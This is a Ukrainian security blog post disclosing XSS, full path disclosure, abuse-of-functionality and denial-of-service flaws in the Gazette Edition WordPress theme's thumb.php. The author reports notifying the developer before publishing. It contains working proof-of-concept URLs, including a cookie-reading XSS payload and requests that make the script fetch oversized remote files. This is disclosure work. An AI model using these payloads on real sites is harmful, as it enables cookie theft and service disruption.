Уразливості в темі The Gazette Edition для WordPress
15:23 11.04.201103.02.2011
Учора, 02.02.2011, я знайшов Cross-Site Scripting, Full path disclosure, Abuse of Functionality та Denial of Service уразливості в темі The Gazette Edition для WordPress. Це комерційний шаблон для WP від WooThemes. Які я виявив на одному сайті, що використовує даний шаблон. Про що найближчим часом повідомлю розробникам.
Раніше я вже писав про уразливості в темі Live Wire Edition для WordPress.
Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам теми.
11.04.2011
XSS:
http://site/wp-content/themes/gazette/thumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E
Full path disclosure:
http://site/wp-content/themes/gazette/thumb.php?src=http://site
http://site/wp-content/themes/gazette/thumb.php?src=http://site/page.png&h=1&w=1111111
http://site/wp-content/themes/gazette/thumb.php?src=http://site/page.png&h=1111111&w=1
http://site/wp-content/themes/gazette/
А також ще десятки php-скриптів шаблону в папці /gazette/ та всіх підпапках.
Abuse of Functionality:
http://site/wp-content/themes/gazette/thumb.php?src=http://site&h=1&w=1
DoS:
http://site/wp-content/themes/gazette/thumb.php?src=http://site/big_file&h=1&w=1
Про подібні AoF та DoS уразливості я писав в статті Використання сайтів для атак на інші сайти.
Окрім папки /gazette/ в каталозі з темами, дана тема також може розміщуватися в папці /gazette-dev/gazette/.
Уразливі The Gazette Edition 2.9.4 та попередні версії. XSS можлива лише в старих версіях шаблона. Після мого попередження, розробник виправив Abuse of Functionality, DoS та деякі FPD, але все ще залишилось багато невиправлених FPD.